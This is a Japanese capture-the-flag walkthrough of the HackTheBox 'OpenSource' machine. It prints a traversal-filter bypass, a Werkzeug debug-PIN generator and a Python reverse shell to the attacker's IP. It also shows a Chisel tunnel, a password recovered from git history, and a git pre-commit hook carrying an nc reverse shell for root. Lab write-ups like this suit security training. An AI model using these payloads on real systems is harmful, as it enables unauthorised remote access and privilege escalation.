HackTheBox OpenSource
OpenSource
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.164 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http syn-ack ttl 62 Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp no-response
22、80番を発見
web
Web ページの下を見ると、zip ファイルがダウンロードできたので、unzip で中身を見る
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ unzip -l source.zip
Archive: source.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-04-28 20:34 app/app/templates/
1666 2022-04-28 20:34 app/app/templates/success.html
1631 2022-04-28 20:34 app/app/templates/upload.html
5533 2022-04-28 20:34 app/app/templates/index.html
816 2022-04-28 20:34 app/app/utils.py
332 2022-04-28 20:34 app/app/configuration.py
141 2022-04-28 20:34 app/run.py
0 2022-04-28 20:34 app/public/
0 2022-04-28 20:34 app/public/uploads/
0 2022-04-28 20:46 app/.vscode/
0 2022-04-28 20:34 app/INSTALL.md
110 2022-04-28 20:40 build-docker.sh
0 2022-04-28 20:34 config/
253 2022-04-28 20:34 config/supervisord.conf
574 2022-04-28 21:50 Dockerfile
ソースコードの一覧を確認できた
ダウンロードの下に、ファイルアップロードできるページを発見
色々試したが、脆弱性は確認できなかった
gobuster
ディレクトリ探索を行う
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ gobuster dir -u http://10.10.11.164/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log 2>/dev/null
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.164/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/10/13 15:24:39 Starting gobuster in directory enumeration mode
===============================================================
/console (Status: 200) [Size: 1563]
/download (Status: 200) [Size: 2489147]
===============================================================
2022/10/13 15:29:55 Finished
===============================================================
console と download を発見。download は zip ファイルがダウンロードできる
console
PIN がないと、ロックが解除できない
Werkzeug
今回のボックスでは、Werkzeug が使用されているので、PIN がどうにかできないか調べる
In some occasions the /console endpoint is going to be protected by a pin.
Here you can find how to generate this pin:
HackTricks で調べてみると、参考記事を発見
参考記事 -> https://www.daehee.com/werkzeug-console-pin-exploit/
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ cat exploit.py
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892358',# str(uuid.getnode()), /sys/class/net/ens33/address
'b9c3a991-c6ae-4915-82e0-770f6aba6613a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
記事に従って、上記のようなファイルを作成。一つずつ確認していこう
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None)
ここは特に問題ないと思うが、参考記事と違うのは、python が3.10であることだ。これは、nmap の出力からも確認できている
private_bits = [
'2485377892358',# str(uuid.getnode()), /sys/class/net/ens33/address
'b9c3a991-c6ae-4915-82e0-770f6aba6613a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd'# get_machine_id(), /etc/machine-id
]
ここでは、MAC アドレスと、machine-id を入力している
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/net/arp
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:60:00:e4:f1 * eth0
まず、HackTricks が示すように、/arp にアクセスし、デバイスID を取得
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//sys/class/net/eth0/address
02:42:ac:11:00:06
デバイスID を使用し、MAC アドレスを取得
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x0242ac110006)
2485377892358
取得した MAC アドレスを10進数に変換し、PIN 取得に使用する
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id
b9c3a991-c6ae-4915-82e0-770f6aba6613
次に、machine-id も同じように、/boot_id にアクセスすることで取得
get_machine_id() read the value in /etc/machine-id or
/proc/sys/kernel/random/boot_id and return directly if there is, sometimes it
might be required to append a piece of information within /proc/self/cgroup
that you find at the end of the first line (after the third slash)
HackTricks にも書かれているように、machine-id だけでなく、cgroup の情報も必要
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/self/cgroup
12:cpuset:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
11:pids:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
10:blkio:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
9:net_cls,net_prio:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
8:devices:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
7:cpu,cpuacct:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
6:rdma:/
5:memory:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
4:hugetlb:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
3:perf_event:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
2:freezer:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
1:name=systemd:/docker/a7678da90fad4d50474b7793287ea599f0bfaf6cf104b7d36754f7dd514b5bfd
0::/system.slice/snap.docker.dockerd.service
/cgroup にアクセスし、情報の取得に成功
/..//proc/self/cgroup
先程から、「..//」 というパスを使用しているが、これには理由がある
┌──(kali㉿kali)-[~/Desktop/OpenSource/app/app]
└─$ cat views.py
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
まず、views.py を確認すると、パスに対して、get_file_name 関数が使用されていることがわかる
┌──(kali㉿kali)-[~/Desktop/OpenSource/app/app]
└─$ cat utils.py
import time
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
実際に、get_file_name 関数を確認すると、「../」という文字を置換しており、ディレクトリトラバーサルの対策をおこなっていることがわかる
/..//proc/self/cgroup
なので、こういったパスを使用し、置換を回避している
ここまでで、入力する情報は全て揃ったが、うまくいかない
h = hashlib.sha1()
参考記事では、md5 が使用されているのだが、ここを sha1 に変更する必要がある
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ python3 exploit.py
373-970-798
実行すると PIN を取得できる
PIN を入力することで、コンソールにログインできた
root(コンテナ) としてのシェル
RCE
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.12",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
上記のコマンドを console で実行
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.164] 58174
/bin/sh: can't access tty; job control turned off
/app # whoami
root
侵入成功
列挙
chisel
今回侵入したのは Docker コンテナであり、ホストへの侵入を試みる
/app # wget 127.0.0.1:3000
172.17.0.1 - - [13/Oct/2022 08:18:03] "GET / HTTP/1.1" 200 -
Connecting to 127.0.0.1:3000 (127.0.0.1:3000)
wget: can't connect to remote host (127.0.0.1): Connection refused
初めの nmap を実行した際に、3000番を確認していたが、接続できない
Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH.
Single executable including both client and server. Written in Go (golang).
Chisel is mainly useful for passing through firewalls, though it can also be
used to provide a secure endpoint into your network.
トンネルを作成し、アクセスするために、chisel を使用する
GitHub -> https://github.com/jpillora/chisel/releases
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse
kali 側でサーバモードを実行する
/tmp # ./chisel_1.7.7_linux_amd64 client 10.10.14.12:8000 R:3000:172.17.0.1:3000
ボックス側に wget で chisel をダウンロードし、クライアントとして実行
アクセスに成功した
git
3000番でログイン画面を発見したが、認証情報を持っていないので再び列挙する
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git log --raw
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
:100644 100644 76c7768 5b0553c M Dockerfile
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
:000000 100644 0000000 76c7768 A Dockerfile
:000000 100644 0000000 e69de29 A app/INSTALL.md
:000000 100644 0000000 5c2ecc0 A app/app/__init__.py
:000000 100644 0000000 877f291 A app/app/configuration.py
git があることを思い出したので、履歴を見てみると、2つのコミットを発見
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git diff ee9d9 2c67a52 130 ⨯
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
違いを確認してみたが、FLASK をデバッグモードにする変数を削除していただけだった
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git branch -a
dev
* public
他にブランチがないか調べてみると、dev を発見
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git log --raw
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
:100644 100644 76c7768 0875eda M Dockerfile
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
:000000 100644 0000000 e50a290 A .gitignore
:100644 000000 5975e3f 0000000 D app/.vscode/settings.json
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
:000000 100644 0000000 5975e3f A app/.vscode/settings.json
:100644 100644 f2744c6 0f3cc37 M app/app/views.py
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
:000000 100644 0000000 76c7768 A Dockerfile
:000000 100644 0000000 e69de29 A app/INSTALL.md
:000000 100644 0000000 5c2ecc0 A app/app/__init__.py
:000000 100644 0000000 877f291 A app/app/configuration.py
再度履歴を確認すると、4つのコミットを発見
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ git diff be4da719 a76f8f7
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index e50a290..0000000
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+ "http.proxyStrictSSL": false
+}
違いを確認すると、dev01 の認証情報と思われる文字の削除を確認
Soulless_Developer#2022 をパスワードとして、ログインが成功
探索していくと、SSHキーを発見
dev01 としてのシェル
SSH
先ほど、取得した SSH キーを使用
┌──(kali㉿kali)-[~/Desktop/OpenSource]
└─$ ssh -i id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Oct 14 06:04:21 UTC 2022
System load: 1.97 Processes: 238
Usage of /: 75.3% of 3.48GB Users logged in: 0
Memory usage: 16% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ whoami
dev01
接続成功
user フラグ
dev01@opensource:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
権限昇格
pspy64
sudo も linpeas も効果を示さなかったので、pspy64 を実行する
2022/10/14 06:15:01 CMD: UID=0 PID=8266 | /bin/bash /usr/local/bin/git-sync
2022/10/14 06:15:01 CMD: UID=0 PID=8265 | /bin/sh -c /usr/local/bin/git-sync
cron ジョブで、git-sync が定期的に実行されていることがわかった
git-sync は、ホームディレクトリのバックアップを担当しているスクリプト
フックは、Gitディレクトリの hooks サブディレクトリ(一般的なプロジェクトでは、.git/hooks )に格納され
ています。 git init で新しいリポジトリを初期化する時には、Gitに同梱されているスクリプトのサンプルがこ
の hooks ディレクトリに格納されます。サンプルの多くはそのままでも十分有用ですし、また、各スクリプトの入
力値に関するドキュメントもついています。 サンプルは全てシェルスクリプトで書かれており、その中の一部では
Perl も使われています。ですが、どんなスクリプトでも、実行可能かつ適切に命名されてさえいれば、問題なく
動きます。Ruby や Python などで書くこともできます。 これら同梱のフックスクリプトを使用する場合は、ファ
イル名の末尾が .sample となっていますので適宜リネームしてください。
これは、git hooks を悪用できるかもしれない
dev01@opensource:~/.git/hooks$ ls -l
total 48
-rwxrwxr-x 1 dev01 dev01 478 Mar 23 2022 applypatch-msg.sample
-rwxrwxr-x 1 dev01 dev01 896 Mar 23 2022 commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3327 Mar 23 2022 fsmonitor-watchman.sample
-rwxrwxr-x 1 dev01 dev01 189 Mar 23 2022 post-update.sample
-rwxrwxr-x 1 dev01 dev01 424 Mar 23 2022 pre-applypatch.sample
-rwxrwxr-x 1 dev01 dev01 1642 Mar 23 2022 pre-commit.sample
-rwxrwxr-x 1 dev01 dev01 1492 Mar 23 2022 prepare-commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 1348 Mar 23 2022 pre-push.sample
-rwxrwxr-x 1 dev01 dev01 4898 Mar 23 2022 pre-rebase.sample
-rwxrwxr-x 1 dev01 dev01 544 Mar 23 2022 pre-receive.sample
-rwxrwxr-x 1 dev01 dev01 3610 Mar 23 2022 update.sample
sample ファイルは、hooks ディレクトリにある
root としてのシェル
pre-commit
dev01@opensource:~/.git/hooks$ cat pre-commit
#!/bin/sh
#
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 5555 >/tmp/f
pre-commit.sample から .sample を削除し、上記のようにファイルの内容を変更
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.164] 41612
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
権限昇格成功
root フラグ
root@opensource:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得成功
所感
今回のボックスは、git を使用したボックスであり、コミット履歴から認証情報を見つけるまでは簡単だったが、権限昇格を行う際にかなり苦労した。また、chisel をボックスに送るとき、ファイルサイズがかなり大きいためなかなかうまくいかなかった。この問題の解決策を見つけたい。
Discussion